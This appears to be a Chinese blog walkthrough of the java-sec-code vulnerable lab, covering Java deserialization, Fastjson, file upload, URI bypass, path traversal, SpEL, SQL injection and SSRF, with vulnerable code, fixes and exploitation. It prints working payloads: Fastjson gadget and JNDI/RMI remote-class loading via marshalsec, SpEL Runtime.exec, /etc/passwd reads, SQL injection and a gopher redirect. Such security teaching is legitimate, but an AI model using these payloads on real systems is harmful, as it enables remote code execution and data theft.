CWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEm9wZW4gLWEgQ2FsY3VsYXRvcnQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=
访问页面
http://192.168.8.103:8080/java_sec_code_war/deserialize/rememberMe/vuln
image-20210926172201962
修复代码:
@RequestMapping("/rememberMe/security") public String rememberMeBlackClassCheck(HttpServletRequest request) throws IOException, ClassNotFoundException { Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); if (null == cookie) { return "No rememberMe cookie. Right?"; } String rememberMe = cookie.getValue(); byte[] decoded = Base64.getDecoder().decode(rememberMe); ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); try { AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException in.readObject(); in.close(); } catch (InvalidClassException e) { logger.info(e.toString()); return e.toString(); } return "I'm very OK."; }
修复方式是通过Hook resolveClass来校验反序列化的类
序列化数据结构可以了解到包含了类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验。这个方法最早是由IBM的研究人员Pierre Ernst在2013年提出《Look-ahead Java deserialization 》
跟入后对应代码如下:
/** * 只允许反序列化SerialObject class * * 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。 * 类似fastjson通用类的反序列化就不能校验。 * 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。 * */ @Override protected Class<?> resolveClass(final ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject logger.info("Deserialize class name: " + className); String[] denyClasses = {"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors"}; for (String denyClass : denyClasses) { if (className.startsWith(denyClass)) { throw new InvalidClassException("Unauthorized deserialization attempt", className); } } return super.resolveClass(desc); }
如果还是不太明白,可以参考:
浅谈Java反序列化漏洞修复方案 Java反序列化过程深究 8.Fastjson FastJson是开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到Java Bean。
漏洞被利用本质找到一条有效的攻击链,攻击链的末端就是有代码执行能力的类,来达到我们想做的事情,一般都是用来RCE(远程命令执行)。构造一个触发器,也就是通过什么方式来让攻击链执行你想要的代码。触发器可以通过很多方式,比如静态代码块、构造方法等等。
Fastjson反序列化漏洞被利用的原因,可以归结为两方面:
Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名; Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。 攻击者可以构造恶意请求,使目标应用的代码执行流程进入这部分特定setter或getter方法,若上述方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。官方采用了黑名单方式对反序列化类名校验,但随着时间的推移及自动化漏洞挖掘能力的提升。新Gadget会不断涌现,黑名单这种治标不治本的方式只会导致不断被绕过,从而对使用该组件的用户带来不断升级版本的困扰。
对编程人员而言,在使用Fastjson反序列化时会使用到Fastjson所提供的几个静态方法:
parse (String text)
parseObject(String text)
parseObject(String text, Class clazz)
无论使用上述哪种方式处理JSON字符串,都会有机会调用目标类中符合要求的Getter方法或者Setter方法,如果一个类中的Getter或者Setter方法满足调用条件并且存在可利用点,那么这个攻击链就产生了。
核心代码:
@RequestMapping(value = "/deserialize", method = {RequestMethod.POST}) @ResponseBody public String Deserialize(@RequestBody String params) { // 如果Content-Type不设置application/json格式,post数据会被url编码 try { // 将post提交的string转换为json JSONObject ob = JSON.parseObject(params); return ob.get("name").toString(); } catch (Exception e) { return e.toString(); } } public static void main(String[] args) { // Open calc in mac String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}"; JSON.parseObject(payload, Feature.SupportNonPublicField); } }
使用parseObject 来解析json字符串
用POST方法打开,Content-Type设置为application/json,暴露使用的fastjson:
image-20210927164036838
使用DNSLOG验证
{"@type":"java.net.Inet4Address","val":"dnslog"} {"name":{"@type":"java.net.InetAddress","val":"dnslog"}} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""} {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} Set[{"@type":"java.net.URL","val":"dnslog"}] Set[{"@type":"java.net.URL","val":"dnslog"} {{"@type":"java.net.URL","val":"dnslog"}:0 {"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://dnslog/"} {"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://dnslog/"} {"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://dnslog/"], "Realms":[""]} {"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"ldap://dnslog/"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://dnslog/"} {"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://dnslog/"}, "namespace":""} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://dnslog/"} {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://dnslog/", "autoCommit":true} {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"rmi://dnslog/"} {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://dnslog/","Object":"a"} {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://dnslog/"} {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://dnslog/"} {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"rmi://dnslog/"} {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"rmi://dnslog/"}
image-20210927164811478
image-20210927164834250
任意命令执行
// TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }
编译代码,上传至服务器,我在本地使用Python http.server 进行搭建
javac TouchFile.java //进行编译 python3 -m http.server 4444 //简单搭建web服务
借助marshalsec 项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
。
╰─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.8.103/#TouchFile 9999
在显示监听后,在客户端发送请求payload,主要看创建文件是否成功
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.169.8.103:9999/TouchFile", "autoCommit":true } }
image-20210928162052579
发现已经访问
╰─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.8.103:4444/#TouchFile 9999 * Opening JRMP listener on 9999 Have connection from /192.168.8.103:54177 Reading message... Is RMI.lookup call for TouchFile 2 Sending remote classloading stub targeting http://192.168.8.103:4444/TouchFile.class Closing connection ╰─$ python3 -m http.server 4444 Serving HTTP on :: port 4444 (http://[::]:4444/) ... ::ffff:192.168.8.103 - - [28/Sep/2021 16:06:29] "GET /TouchFile.class HTTP/1.1" 200 -
查看文件
image-20210928162106468
Fastjson 1.2.24 反序列化漏洞深度分析 发现最新版本1.2.67依然可以通过dnslog判断正确是否使用fastjson 9.FileUpload 对于文件上传来说,目前这类漏洞在spring里非常少,原因有两点:
大多数公司上传的文件都会到cdn spring的jsp文件必须在web-inf目录下才能执行 除非,可以上传war包到tomcat的webapps目录。
正常上传代码如下:
@PostMapping("/upload") public String singleFileUpload(@RequestParam("file") MultipartFile file, RedirectAttributes redirectAttributes) { if (file.isEmpty()) { // 赋值给uploadStatus.html里的动态参数message redirectAttributes.addFlashAttribute("message", "Please select a file to upload"); return "redirect:/file/status"; } try { // Get the file and save it somewhere byte[] bytes = file.getBytes(); Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename()); Files.write(path, bytes); redirectAttributes.addFlashAttribute("message", "You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'"); } catch (IOException e) { redirectAttributes.addFlashAttribute("message", "upload failed"); logger.error(e.toString()); } return "redirect:/file/status"; } @GetMapping("/status") public String uploadStatus() { return "uploadStatus"; }
可以看到没有对后缀名,MIME,文件内容等内容进行校验,可以任意上传。
对图片上传做限制后的代码如下
@PostMapping("/upload/picture") @ResponseBody public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception { if (multifile.isEmpty()) { return "Please select a file to upload"; } String fileName = multifile.getOriginalFilename(); String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名 String mimeType = multifile.getContentType(); // 获取MIME类型 String filePath = UPLOADED_FOLDER + fileName; File excelFile = convert(multifile); // 判断文件后缀名是否在白名单内 校验1 String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"}; boolean suffixFlag = false; for (String white_suffix : picSuffixList) { if (Suffix.toLowerCase().equals(white_suffix)) { suffixFlag = true; break; } } if (!suffixFlag) { logger.error("[-] Suffix error: " + Suffix); deleteFile(filePath); return "Upload failed. Illeagl picture."; } // 判断MIME类型是否在黑名单内 校验2 String[] mimeTypeBlackList = { "text/html", "text/javascript", "application/javascript", "application/ecmascript", "text/xml", "application/xml" }; for (String blackMimeType : mimeTypeBlackList) { // 用contains是为了防止text/html;charset=UTF-8绕过 if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) { logger.error("[-] Mime type error: " + mimeType); deleteFile(filePath); return "Upload failed. Illeagl picture."; } } // 判断文件内容是否是图片 校验3 boolean isImageFlag = isImage(excelFile); deleteFile(randomFilePath); if (!isImageFlag) { logger.error("[-] File is not Image"); deleteFile(filePath); return "Upload failed. Illeagl picture."; } try { // Get the file and save it somewhere byte[] bytes = multifile.getBytes(); Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename()); Files.write(path, bytes); } catch (IOException e) { logger.error(e.toString()); deleteFile(filePath); return "Upload failed"; } logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType); logger.info("[+] Successfully uploaded {}", filePath); return String.format("You successfully uploaded '%s'", filePath); } private void deleteFile(String filePath) { File delFile = new File(filePath); if(delFile.isFile() && delFile.exists()) { if (delFile.delete()) { logger.info("[+] " + filePath + " delete successfully!"); return; } } logger.info(filePath + " delete failed!"); }
1.对文件名做了白名单限制{“.jpg”, “.png”, “.jpeg”, “.gif”, “bmp”, “.ico”} 只允许对这些文件进行上传
String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"}; boolean suffixFlag = false; for (String white_suffix : picSuffixList) { if (Suffix.toLowerCase().equals(white_suffix)) { suffixFlag = true; break; } } if (!suffixFlag) { logger.error("[-] Suffix error: " + Suffix); deleteFile(filePath); return "Upload failed. Illeagl picture."; }
2.判断MIME类型是否在黑名单内
"text/html", "text/javascript", "application/javascript", "application/ecmascript", "text/xml", "application/xml"
3.使用contains为了防止text/html;charset=UTF-8绕过
if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) { logger.error("[-] Mime type error: " + mimeType); deleteFile(filePath); return "Upload failed. Illeagl picture."; }
4.使用IsImage()函数调用ImageIO.read()函数来检测内容是否为文件
private static boolean isImage(File file) throws IOException { BufferedImage bi = ImageIO.read(file); return bi != null; }
5.上传文件时会通过uuid生成一个’/tmp’ + uuid + ‘png’ 这样的文件名,然后最后删除掉
try { // Get the file and save it somewhere byte[] bytes = multifile.getBytes(); Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename()); Files.write(path, bytes); } catch (IOException e) { logger.error(e.toString()); deleteFile(filePath); return "Upload failed"; } logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType); logger.info("[+] Successfully uploaded {}", filePath); return String.format("You successfully uploaded '%s'", filePath); } private void deleteFile(String filePath) { File delFile = new File(filePath); if(delFile.isFile() && delFile.exists()) { if (delFile.delete()) { logger.info("[+] " + filePath + " delete successfully!"); return; } } logger.info(filePath + " delete failed!"); }
image-20211026084805243
存在未对文件名做校验,存在路径穿越漏洞,参数修改为../../Users/oldthree/Documents/0.OL4THREE/0.Base/apache-tomcat-8.5.70/webapps/java_sec_code_war/1.png
我们可以上传图片到任意目录,上传图片马不解析
image-20211026084911718
─ol4three ~/Documents/0.OL4THREE/0.Base/apache-tomcat-8.5.70/webapps/java_sec_code_war ╰─$ ls 1.png META-INF WEB-INF
直接进行访问即可
image-20211026085048387
由于会重新随机生成文件名未在检测中进行,导致上传jsp失败仍然会在/tmp目录下进行生成随机数生成的.jsp
image-20211026092407832
╭─ol4three /tmp ╰─$ ls 06dc320d-35fb-11ec-937b-c91feee9eae9.jsp 1989897e-35fb-11ec-937b-195f26ab9cc0.jsp 2156c28f-35fb-11ec-937b-a71889553c3e.jsp
使用文件上传any接口上传jsp文件解析利用如下:
image-20211026091923728
image-20211026091850244
10.GetRequestURI 当应用存在静态资源目录,比如/css/
目录,在权限校验时一般会选择放行,即不校验权限。研发同学用getRequestURI()
获取URI后,判断是否包含 /css/
字符串,如果包含则不校验权限。此时如果URI为/css/../hello
,用getRequestURI()
获取的URI是/css/../hello
,包含/css/
字符串,所以不校验权限。但是此时后端的路由为/hello
,导致权限绕过。
核心代码如下:
@GetMapping(value = "/exclued/vuln") public String exclued(HttpServletRequest request) { String[] excluedPath = {"/css/**", "/js/**"}; String uri = request.getRequestURI(); // Security: request.getServletPath() PathMatcher matcher = new AntPathMatcher(); logger.info("getRequestURI: " + uri); logger.info("getServletPath: " + request.getServletPath()); for (String path : excluedPath) { if (matcher.match(path, uri)) { return "You have bypassed the login page."; } } return "This is a login page >..<"; }
可以看到判断包含/css/和/js/字符串如果包含则不进行校验权限
由于作者写的时候是使用根目录检测需要/css/..;/exclued/vuln 开头,可以修改网站根目录进行测试或者,手动调试修改代码
使用curl进行验证发现可以成功绕过return “You have bypasswd the login page.”
╰─$ curl -i -s -k -X $'GET' \ -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36' -H $'Referer: http://172.20.10.6:8080/java_sec_code_war/login' \ -b $'JSESSIONID=41B2022F0376956FF0E5583CEC92FD3B; XSRF-TOKEN=7de740ac-305e-41b3-b711-438a1b068f77; remember-me=YWRtaW46MTYzNjM2NzI0NjU0NDozNTYwZjNiODFiODBhOTYxOTcxZGM4YWQ2NDY5ZTExZA' \ $'http://172.20.10.6:8080/java_sec_code_war/uri/css/..;/exclued/vuln' HTTP/1.1 200 X-Application-Context: application X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 X-Frame-Options: DENY Content-Type: text/plain;charset=UTF-8 Content-Length: 33 You have bypassed the login page.%
使用浏览器访问如下:http://172.20.10.6:8080/java_sec_code_war/uri/css/..;/exclued/vuln
image-20211025182934819
安全的方法是使用:getServletPath()方法,该方法会自动对URL
2021-10-25 18:28:11.268 INFO 2967 --- [nio-8080-exec-5] org.joychou.controller.GetRequestURI : getRequestURI: /css/..;/exclued/vuln 2021-10-25 18:28:11.268 INFO 2967 --- [nio-8080-exec-5] org.joychou.controller.GetRequestURI : getServletPath: /exclued/vuln
使用getServletPath()方法对URI进行标准化(normalize),先对URI进行URLDecode,如果存在/../
,将其返回到上一级目录,即/css/..;/exclued/vuln/处理为/exclued/vuln/,并将新的Path设置为servletPath。
11.PathTraversal 路径遍历攻击(也称为目录遍历)是指在访问储存在web根目录文件夹之外的文件和目录。通过操纵带有“点-斜线(..)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。
核心代码:
/** * http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd */ @GetMapping("/path_traversal/vul") public String getImage(String filepath) throws IOException { return getImgBase64(filepath); } private String getImgBase64(String imgFile) throws IOException { logger.info("Working directory: " + System.getProperty("user.dir")); logger.info("File path: " + imgFile); File f = new File(imgFile); if (f.exists() && !f.isDirectory()) { byte[] data = Files.readAllBytes(Paths.get(imgFile)); return new String(Base64.encodeBase64(data)); } else { return "File doesn't exist or is not a file."; } }
没有对文件名做校验存在漏洞
访问http://172.20.10.6:8080/java_sec_code_war/path_traversal/vul?filepath=../../../../../../../../etc/passwd
image-20211026094047542
修复代码:
@GetMapping("/path_traversal/sec") public String getImageSec(String filepath) throws IOException { if (SecurityUtil.pathFilter(filepath) == null) { logger.info("Illegal file path: " + filepath); return "Bad boy. Illegal file path."; } return getImgBase64(filepath); }
利用pathFilter对输入的路径进行过滤,跟进去查看pathFilter()函数
public static String pathFilter(String filepath) { String temp = filepath; // use while to sovle multi urlencode while (temp.indexOf('%') != -1) { try { temp = URLDecoder.decode(temp, "utf-8"); } catch (UnsupportedEncodingException e) { logger.info("Unsupported encoding exception: " + filepath); return null; } catch (Exception e) { logger.info(e.toString()); return null; } } if (temp.contains("..") || temp.charAt(0) == '/') { return null; } return filepath; }
对输入的参数先做检测若是URL编码先做解码,然后检测对”..”,”/“参数做过滤。
12.SpEL Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
核心代码:
@GetMapping("/spel/vuln") public String rce(String expression) { ExpressionParser parser = new SpelExpressionParser(); // fix method: SimpleEvaluationContext return parser.parseExpression(expression).getValue().toString(); }
直接将用户的输入当作表达式内容进行解析。
输入一个简单的乘法运算2*2
,可以看到返回的值是经过解析后的4
image-20211026095240922
执行下系统命令
http://172.20.10.6:8080/java_sec_code_war/spel/vuln/?expression=T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)
image-20211026095448592
SPEL表达式注入-入门篇 由浅入深SpEL表达式注入漏洞 13.SQLI Sql注入修改mysql的配置之后即可进行,整体比较简单
核心代码:
@RequestMapping("/jdbc/vuln") public String jdbc_sqli_vul(@RequestParam("username") String username) { StringBuilder result = new StringBuilder(); try { Class.forName(driver); Connection con = DriverManager.getConnection(url, user, password); if (!con.isClosed()) System.out.println("Connect to database successfully."); // sqli vuln code Statement statement = con.createStatement(); String sql = "select * from users where username = '" + username + "'"; logger.info(sql); ResultSet rs = statement.executeQuery(sql); while (rs.next()) { String res_name = rs.getString("username"); String res_pwd = rs.getString("password"); String info = String.format("%s: %s\n", res_name, res_pwd); result.append(info); logger.info(info); } rs.close(); con.close(); } catch (ClassNotFoundException e) { logger.error("Sorry,can`t find the Driver!"); } catch (SQLException e) { logger.error(e.toString()); } return result.toString(); }
直接对输入的username参数进行拼接存在sql注入漏洞
访问url:
http://localhost:8080/java_sec_code_war/sqli/mybatis/vuln01?username=joychou%27%20or%20%271%27=%271
image-20211026181809439
控制台输出如下:
DEBUG 9753 --- [nio-8080-exec-2] o.j.m.UserMapper.findByUserNameVuln01 : ==> Preparing: select * from users where username = 'joychou' or '1'='1' DEBUG 9753 --- [nio-8080-exec-2] o.j.m.UserMapper.findByUserNameVuln01 : ==> Parameters: DEBUG 9753 --- [nio-8080-exec-2] o.j.m.UserMapper.findByUserNameVuln01 : <== Total: 2
修复代码如下:
@RequestMapping("/jdbc/sec") public String jdbc_sqli_sec(@RequestParam("username") String username) { StringBuilder result = new StringBuilder(); try { Class.forName(driver); Connection con = DriverManager.getConnection(url, user, password); if (!con.isClosed()) System.out.println("Connecting to Database successfully."); // fix code String sql = "select * from users where username = ?"; PreparedStatement st = con.prepareStatement(sql); st.setString(1, username); logger.info(st.toString()); // sql after prepare statement ResultSet rs = st.executeQuery(); while (rs.next()) { String res_name = rs.getString("username"); String res_pwd = rs.getString("password"); String info = String.format("%s: %s\n", res_name, res_pwd); result.append(info); logger.info(info); } rs.close(); con.close(); } catch (ClassNotFoundException e) { logger.error("Sorry, can`t find the Driver!"); e.printStackTrace(); } catch (SQLException e) { logger.error(e.toString()); } return result.toString(); }
prepareStatement()通过预处理方式进行修复
预处理的修复原理:针对字符串类型的SQL注入,是在字符串两边加上一对单号哈''
,对于中间点的单引号对其进行转义\'
,让其变成字符的单引号。Mybatis的#{}
也是预处理方式处理SQL注入。
在使用了mybatis框架后,需要进行排序功能时,在mapper.xml文件中编写SQL语句时,注意orderBy后的变量要使用${}
,而不用#{}
。因为#{}
变量是经过预编译的,${}
没有经过预编译。虽然${}
存在SQL注入的风险,但orderBy必须使用${}
,因为#{}
会多出单引号''
导致SQL语句失效。为防止SQL注入只能自己对其过滤。
根据下面的结果可以发现order by 'username'
并没有用,第一条SQL和第二条SQL效果一样。
select * from users order by 'username' desc -- 结果为 joychou wilson lightless select * from users -- 结果为 joychou wilson lightless select * from users order by username -- 结果为 joychou lightless wilson select * from users order by username desc -- 结果为 wilson lightless joychou
14.SSRF 1.漏洞简介 SSRF(Server-side Request Forge, 服务端请求伪造)。 由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。
2.支持协议
file ftp mailto http https jar netdoc
如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。
3.重定向 Java默认会跟随重定向。先在一台服务器上写一个test.php,代码如下:
<?php $url = 'gopher://35.185.163.134:2333/_joy%0achou'; header("location: $url"); ?>
启动apache 放置对应文件
sudo apachectl start cp ~/Desktop/test.php /Library/WebServer/Documents
访问payload
http://localhost:8080/java_sec_code_war/ssrf/urlConnection/vuln?url=http://127.0.0.1/test.php
收到异常:
java.net.MalformedURLException: unknown protocol: gopher
跟踪报错代码:
private boolean followRedirect() throws IOException { if(!this.getInstanceFollowRedirects()) { return false; } else { final int var1 = this.getResponseCode(); if(var1 >= 300 && var1 <= 307 && var1 != 306 && var1 != 304) { final String var2 = this.getHeaderField("Location"); if(var2 == null) { return false; } else { URL var3; try { // 该行代码发生异常,var2变量值为`gopher://35.185.163.134:2333/_joy%0achou` var3 = new URL(var2); /* 该行代码,表示传入的协议必须和重定向的协议一致 * 即http://joychou.me/302.php的协议必须和gopher://35.185.163.134:2333/_joy%0achou一致 */ if(!this.url.getProtocol().equalsIgnoreCase(var3.getProtocol())) { return false; } } catch (MalformedURLException var8) { var3 = new URL(this.url, var2); }
从上面的followRedirect方法可以看到:
实际跳转的URL也在限制的协议内 传入的URL协议必须和重定向后的URL协议一致。如果不一致,相当于没有进行重定向,返回空页面。 所以,Java的SSRF利用方式比较局限:
利用file协议任意文件读取 利用http协议探测端口或攻击内网服务 4.DNS Rebinding 先了解下Java应用的TTL机制。Java应用的默认TTL为10s,这个默认配置会导致DNS Rebinding绕过失败。也就是说,默认情况下,Java应用不受DNS Rebinding影响。
Java TTL的值可以通过下面三种方式进行修改:
JVM添加启动参数-Dsun.net.inetaddr.ttl=0
通过代码进行修改
java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
修改java.security
里的networkaddress.cache.negative.ttl
变量为0
5.总结 Java默认跟随重定向; Java默认TTL为10; 是否受DNS Rebinding影响取决于缓存; 如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。 传入的URL协议必须和重定向后的URL协议一致。如果不一致,相当于没有进行重定向,返回空页面。 核心代码:
@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET}) public String URLConnectionVuln(String url) { return HttpUtils.URLConnection(url); }
跟进URLConnectiong(url)
public static String URLConnection(String url) { try { URL u = new URL(url); URLConnection urlConnection = u.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request // BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream())); String inputLine; StringBuilder html = new StringBuilder(); while ((inputLine = in.readLine()) != null) { html.append(inputLine); } in.close(); return html.toString(); } catch (Exception e) { logger.error(e.getMessage()); return e.getMessage(); } }
直接调用了URLConnection()方法 导致存在任意文件读
http://localhost:8080/java_sec_code_war/ssrf/urlConnection/vuln?url=file:///etc/passwd
image-20211027092620488
修复代码如下:
